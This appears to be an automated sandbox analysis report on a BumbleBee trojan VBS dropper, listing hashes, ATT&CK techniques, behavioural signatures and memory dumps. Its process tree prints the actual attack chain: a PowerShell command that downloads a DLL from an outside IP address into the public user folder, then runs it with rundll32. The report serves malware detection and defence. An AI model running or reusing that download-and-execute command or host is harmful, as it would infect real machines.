bumblebee | e8fec6cb888d59401c00b0ba9dcdff2285a71c88ff82de1ede13766ecf2910b3

Resubmissions

09-10-2023 22:51

231009-2svgqaba35 8

15-09-2023 13:25

230915-qn1bmaca6s 10

Analysis

max time kernel
140s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
15-09-2023 13:25

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General

Target

IN(11)-9-12-2023_258806.vbs
Size

1KB
MD5

7b62afd1f1ec24823da003793e6e58be
SHA1

5220e8670f31beeb7233c88aa99fb5b623d067f0
SHA256

e8fec6cb888d59401c00b0ba9dcdff2285a71c88ff82de1ede13766ecf2910b3
SHA512

f3bc89c42a03c37ec8a5235b806226ddfa6444b04e6844fbce1d8281b75a6c65bb81dc14b39e7af16868a832814254883fb2dde983596c5da48deef9eff00d08

Score

10^/10

bumblebee js1 trojan

Malware Config

Extracted

Family

bumblebee

Botnet

js1

rc4.plain

Signatures

BumbleBee
BumbleBee is a webshell malware written in C++.
trojan bumblebee

Blocklisted process makes network request 4 IoCs

flow	pid	Process
1	3304	powershell.exe
4	1264	rundll32.exe
8	1264	rundll32.exe
10	1264	rundll32.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation	WScript.exe

Loads dropped DLL 1 IoCs

pid	Process
1264	rundll32.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1264	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3304	powershell.exe
3304	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3304	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5036 wrote to memory of 3304	5036	WScript.exe	78
PID 5036 wrote to memory of 3304	5036	WScript.exe	78
PID 5036 wrote to memory of 1264	5036	WScript.exe	80
PID 5036 wrote to memory of 1264	5036	WScript.exe	80

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IN(11)-9-12-2023_258806.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" invoke-webrequest -uri 'http://23.88.60.168/364f0rv1ni.dll' -outfile 'c:\users\public\name.dll';
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3304
- C:\Windows\System32\rundll32.exe
  "C:\Windows\System32\rundll32.exe" c:\users\public\name.dll,DllRegisterServer
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Suspicious use of NtCreateThreadExHideFromDebugger
  PID:1264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hi1qfj2o.puq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\name.dll

Filesize
1.1MB

MD5
b139cab0622f45b6543f92effbd7fc49

SHA1
499506a1e54bcf805afd4fc34b222b8afdd7acd3

SHA256
9505aca42aa91cb6235bcc2b34e8a35e8116281b41ce0585ba9b06ac3799cb08

SHA512
83b5bcb345f16d9e363f19712639efb734a6268ad1d00f85cb2b988775a1266668a7fbe134eec756566121449b3bf1dee550270c7ff267e0921478311267d651

Download Submit
\??\c:\users\public\name.dll

Filesize
1.1MB

MD5
b139cab0622f45b6543f92effbd7fc49

SHA1
499506a1e54bcf805afd4fc34b222b8afdd7acd3

SHA256
9505aca42aa91cb6235bcc2b34e8a35e8116281b41ce0585ba9b06ac3799cb08

SHA512
83b5bcb345f16d9e363f19712639efb734a6268ad1d00f85cb2b988775a1266668a7fbe134eec756566121449b3bf1dee550270c7ff267e0921478311267d651

Download Submit
memory/1264-24-0x00007FF8332B0000-0x00007FF8334A5000-memory.dmp

Filesize
2.0MB

Download
memory/1264-25-0x00007FF8332B0000-0x00007FF8334A5000-memory.dmp

Filesize
2.0MB

Download
memory/1264-28-0x00007FF8332B0000-0x00007FF8334A5000-memory.dmp

Filesize
2.0MB

Download
memory/1264-27-0x000001BBB2B30000-0x000001BBB2BA9000-memory.dmp

Filesize
484KB

Download
memory/1264-26-0x000001BBB4590000-0x000001BBB469A000-memory.dmp

Filesize
1.0MB

Download
memory/1264-23-0x00007FF8332B0000-0x00007FF8334A5000-memory.dmp

Filesize
2.0MB

Download
memory/1264-21-0x000001BBB2B30000-0x000001BBB2BA9000-memory.dmp

Filesize
484KB

Download
memory/1264-22-0x000001BBB4590000-0x000001BBB469A000-memory.dmp

Filesize
1.0MB

Download
memory/3304-10-0x00007FF8155A0000-0x00007FF816061000-memory.dmp

Filesize
10.8MB

Download
memory/3304-5-0x00000183CD220000-0x00000183CD242000-memory.dmp

Filesize
136KB

Download
memory/3304-12-0x00000183CD260000-0x00000183CD270000-memory.dmp

Filesize
64KB

Download
memory/3304-11-0x00000183CD260000-0x00000183CD270000-memory.dmp

Filesize
64KB

Download
memory/3304-16-0x00007FF8155A0000-0x00007FF816061000-memory.dmp

Filesize
10.8MB

Download
memory/3304-13-0x00000183CD260000-0x00000183CD270000-memory.dmp

Filesize
64KB

Download